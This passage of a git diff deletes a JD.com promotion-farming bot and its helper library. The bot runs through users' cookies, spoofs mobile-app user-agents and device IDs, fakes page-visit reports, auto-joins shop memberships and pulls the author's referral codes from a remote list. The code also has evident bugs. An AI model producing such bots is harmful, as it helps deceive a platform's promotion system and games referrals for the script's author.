"me-api.jd.com", - "Accept": "*/*", - "Connection": "keep-alive", - "Cookie": cookie, - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br", - } - }; - return new Promise(resolve => { - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data.retcode === "1001") { - $.isLogin = false; //cookie过期 - return; - } - if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - $.log('京东返回了空数据'); - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} -// prettier-ignore -!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); -function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/backUp/jd_lzdz1_go2.js b/backUp/jd_lzdz1_go2.js deleted file mode 100644 index e8ecebc..0000000 --- a/backUp/jd_lzdz1_go2.js +++ /dev/null @@ -1,598 +0,0 @@ -/* -大牌联合 狂欢抢先GO -10-23 ~ 10~29 -https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity?activityId=dz20211023wkcn14cn5cnd0sdbs5sbx&shareUuid=e4af9e2576f742518d31de9d38c34b14 - -默认执行脚本。如果需要不执行 -环境变量 NO_RUSH=false -*/ -const $ = new Env("大牌联合 狂欢抢先GO"); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -let cookiesArr = [], cookie = '', message = ''; -let ownCode = null; -let isRush = true;false -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; -} else { - let cookiesData = $.getdata('CookiesJD') || "[]"; - cookiesData = JSON.parse(cookiesData); - cookiesArr = cookiesData.map(item => item.cookie); - cookiesArr.reverse(); - cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); - cookiesArr.reverse(); - cookiesArr = cookiesArr.filter(item => !!item); -} -if (process.env.NO_RUSH && process.env.NO_RUSH != "") { - isRush = process.env.NO_RUSH; -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; - } - - authorCodeList = await getAuthorCodeList('https://gitee.com/fatelight/dongge/raw/master/dongge/lzdz1_go2.json') - if(authorCodeList === '404: Not Found'){ - authorCodeList = [ - 'e4af9e2576f742518d31de9d38c34b14', - ] - } - - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i] - originCookie = cookiesArr[i] - newCookie = '' - $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - await checkCookie(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - $.bean = 0; - $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); - $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); - // $.authorCode = authorCodeList[random(0, authorCodeList.length)] - $.authorCode = ownCode ? ownCode : authorCodeList[random(0, authorCodeList.length)] - $.authorNum = `${random(1000000, 9999999)}` - $.randomCode = random(1000000, 9999999) - $.activityId = 'dz20211023wkcn14cn5cnd0sdbs5sbx' - $.activityShopId = '1000387143' - $.activityUrl = `https://lzdz1-isv.isvjd.com/dingzhi/dz/openCard/activity/${$.authorNum}?activityId=${$.activityId}&shareUuid=${encodeURIComponent($.authorCode)}&adsource=null&shareuserid4minipg=null&shopid=${$.activityShopId}&lng=00.000000&lat=00.000000&sid=&un_area=` - if (isRush) { - console.log("未检测到不执行环境变量,执行任务") - await rush(); - } else { - console.log("检测到不执行环境变量,退出任务,环境变量 NO_RUSH") - break - } - await $.wait(3000) - if ($.bean > 0) { - message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。` - } - } - } - if (message !== '') { - if ($.isNode()) { - await notify.sendNotify($.name, message, '', `\n`); - } else { - $.msg($.name, '有点儿收获', message); - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - - -async function rush() { - $.token = null; - $.secretPin = null; - $.openCardActivityId = null - await getFirstLZCK() - await getToken(); - if ($.token) { - await getMyPing(); - if ($.secretPin) { - console.log("去助力 -> "+$.authorCode) - await task('common/accessLogWithAD', `venderId=${$.activityShopId}&code=99&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=null`, 1); - await task('wxActionCommon/getUserInfo', `pin=${encodeURIComponent($.secretPin)}`, 1) - if ($.index === 1) { - await task('dz/openCard/activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`, 0, 1) - } else { - await task('dz/openCard/activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`) - } - await task('dz/openCard/checkOpenCard', `activityId=${$.activityId}&actorUuid=${$.actorUuid}&shareUuid=${$.authorCode}&pin=${encodeURIComponent($.secretPin)}`) - $.log("->关注店铺") - if ($.shopTask) { - if (!$.shopTask.allStatus) { - await task('dz/openCard/followShop', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&actorUuid=${encodeURIComponent($.actorUuid)}&taskType=23&taskValue=1000002520`) - } else { - $.log(" >>>已经关注过了\n") - await $.wait(2000) - return - } - } else { - $.log("没有获取到对应的任务。\n") - } - $.log("->->->> 加入店铺会员") - if ($.openCardStatus) { - for (let i = 0; i < ($.openCardStatus.cardList1.length + $.openCardStatus.cardList2.length); i++) { - $.log("模拟上报访问记录") - await task('crm/pageVisit/insertCrmPageVisit', `venderId=1000004065&pageId=dz20211013skcnurdk11jhdue84752hp&elementId=${encodeURIComponent(`去开卡${i}`)}&pin=${encodeURIComponent($.secretPin)}`, 1) - await $.wait(2000) - } - t1TaskList = [] - $.openCardStatus.cardList1.filter((x) => { if (x.status === 0) { t1TaskList.push(x) } }) - t2TaskList = [] - $.openCardStatus.cardList2.filter((x) => { if (x.status === 0) { t2TaskList.push(x) } }) - if (t1TaskList.length < 1) { - console.log(" >>>已经完成入会任务") - - } else { - for (const vo of t1TaskList) { - $.log(` >>>去加入${vo.name}`) - await getShopOpenCardInfo({ "venderId": `${vo.value}`, "channel": "401" }, vo.value) - await bindWithVender({ "venderId": `${vo.value}`, "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "activityId": $.openCardActivityId, "channel": 401 }, vo.value) - await $.wait(2000) - } - for (const vo of t2TaskList) { - $.log(` >>>${vo.name}`) - await getShopOpenCardInfo({ "venderId": `${vo.value}`, "channel": "401" }) - await bindWithVender({ "venderId": `${vo.value}`, "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "activityId": $.openCardActivityId, "channel": 401 }, vo.value) - await $.wait(2000) - } - } - - await task("taskact/openCardcommon/drawContent", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`) - await $.wait(2000) - await task('dz/openCard/checkOpenCard', `activityId=${$.activityId}&actorUuid=${$.actorUuid}&shareUuid=${$.authorCode}&pin=${encodeURIComponent($.secretPin)}`) - await $.wait(2000) - await task("dz/openCard/startDraw", `activityId=${$.activityId}&actorUuid=${$.actorUuid}&type=1&pin=${encodeURIComponent($.secretPin)}`) - await $.wait(2000) - await task("dz/openCard/startDraw", `activityId=${$.activityId}&actorUuid=${$.actorUuid}&type=2&pin=${encodeURIComponent($.secretPin)}`) - - } else { - $.log("没有获取到对应的任务。\n") - } - $.log("->->->> 加购物车") - await task("dz/openCard/saveTask", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&actorUuid=${$.actorUuid}&type=2&taskValue=100025232454`) - } - } -} - -function task(function_id, body, isCommon = 0, own = 0) { - return new Promise(resolve => { - $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - - if (data) { - data = JSON.parse(data); - if (data.result) { - switch (function_id) { - case 'wxActionCommon/getUserInfo': - break; - case 'dz/openCard/activityContent': - if (!data.data.hasEnd) { - $.log(`开启【${data.data.activityName}】活动`) - $.log("-------------------") - if ($.index === 1) { - ownCode = data.data.actorUuid - console.log(ownCode) - } - $.actorUuid = data.data.actorUuid; - $.skuTask = data.data.addSku; - $.shopTask = data.data.followShop; - } else { - $.log("活动已经结束"); - } - break; - case 'dz/openCard/checkOpenCard': - $.openCardStatus = data.data; - break; - case 'dz/openCard/saveTask': - console.log(data.data.addBeanNum) - break; - case 'dz/openCard/saveTask': - if (data.data) { - if (data.data.addBeanNum) { - $.bean += data.data.addBeanNum; - $.log(`==>获得【${data.data.addBeanNum}】京豆\n`) - } - } - break; - case 'dz/openCard/startDraw': - if (data.data.drawOk) { - switch (data.data.drawInfo.type) { - case 6: - $.bean += data.data.drawInfo.beanNum; - $.log(`==>获得【${data.data.drawInfo.beanNum}】京豆\n`) - break; - default: - if ($.isNode()) { - await notify.sendNotify("中奖了", `中奖信息:${JSON.stringify(data.data.drawInfo)}\n活动链接:${$.activityUrl}`) - } else { - $.msg("中奖了", `获得${data.data.drawInfo.name}`, `中奖信息:${JSON.stringify(data.data.drawInfo)}\n活动链接:${$.activityUrl}`) - } - break; - } - } - break; - case 'crm/pageVisit/insertCrmPageVisit': - $.log("==> 上报成功") - - case 'dz/openCard/followShop': - if (data.data) { - if (data.data.addBeanNum) { - $.bean += data.data.addBeanNum; - $.log(`==>获得【${data.data.addBeanNum}】京豆\n`) - } - } - break; - - break; - default: - $.log(JSON.stringify(data)) - break; - } - } else { - $.log(JSON.stringify(data)) - } - } else { - // $.log("京东没有返回数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - }) - }) -} -function getShopOpenCardInfo(body, venderId) { - let opt = { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - Host: 'api.m.jd.com', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - 'Accept-Language': 'zh-cn', - Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=801&returnUrl=${encodeURIComponent($.activityUrl)}`, - 'Accept-Encoding': 'gzip, deflate, br' - } - } - return new Promise(resolve => { - $.get(opt, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - res = JSON.parse(data) - if (res.success) { - if (res.result.interestsRuleList) { - $.openCardActivityId = res.result.interestsRuleList[0].interestsInfo.activityId; - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - - }) -} -function bindWithVender(body, venderId) { - let opt = { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - Host: 'api.m.jd.com', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - 'Accept-Language': 'zh-cn', - Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=401&returnUrl=${encodeURIComponent($.activityUrl)}`, - 'Accept-Encoding': 'gzip, deflate, br' - } - } - return new Promise(resolve => { - $.get(opt, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - res = JSON.parse(data) - if (res.success) { - if (res.result.giftInfo && res.result.giftInfo.giftList) { - for (const vo of res.result.giftInfo.giftList) { - if (vo.prizeType === 4) { - $.log(`==>获得【${vo.quantity}】京豆`) - $.bean += vo.quantity - } - } - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - - }) -} -function taskUrl(function_id, body, isCommon) { - return { - url: isCommon ? `https://lzdz1-isv.isvjd.com/${function_id}` : `https://lzdz1-isv.isvjd.com/dingzhi/${function_id}`, - headers: { - Host: 'lzdz1-isv.isvjd.com', - Accept: 'application/json', - 'X-Requested-With': 'XMLHttpRequest', - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - 'Content-Type': 'application/x-www-form-urlencoded', - Origin: 'https://lzdz1-isv.isvjd.com', - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - Connection: 'keep-alive', - Referer: $.activityUrl, - Cookie: cookie - }, - body: body - - } -} -function getAuthorCodeList(url) { - return new Promise(resolve => { - const options = { - url: `${url}?${new Date()}`, "timeout": 10000, headers: { - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - } - }; - $.get(options, async (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (data) data = JSON.parse(data) - } - } catch (e) { - $.logErr(e, resp) - data = null; - } finally { - resolve(data); - } - }) - }) -} -function getMyPing() { - let opt = { - url: `https://lzdz1-isv.isvjd.com/customer/getMyPing`, - headers: { - Host: 'lzdz1-isv.isvjd.com', - Accept: 'application/json', - 'X-Requested-With': 'XMLHttpRequest', - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - 'Content-Type': 'application/x-www-form-urlencoded', - Origin: 'https://lzdz1-isv.isvjd.com', - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) 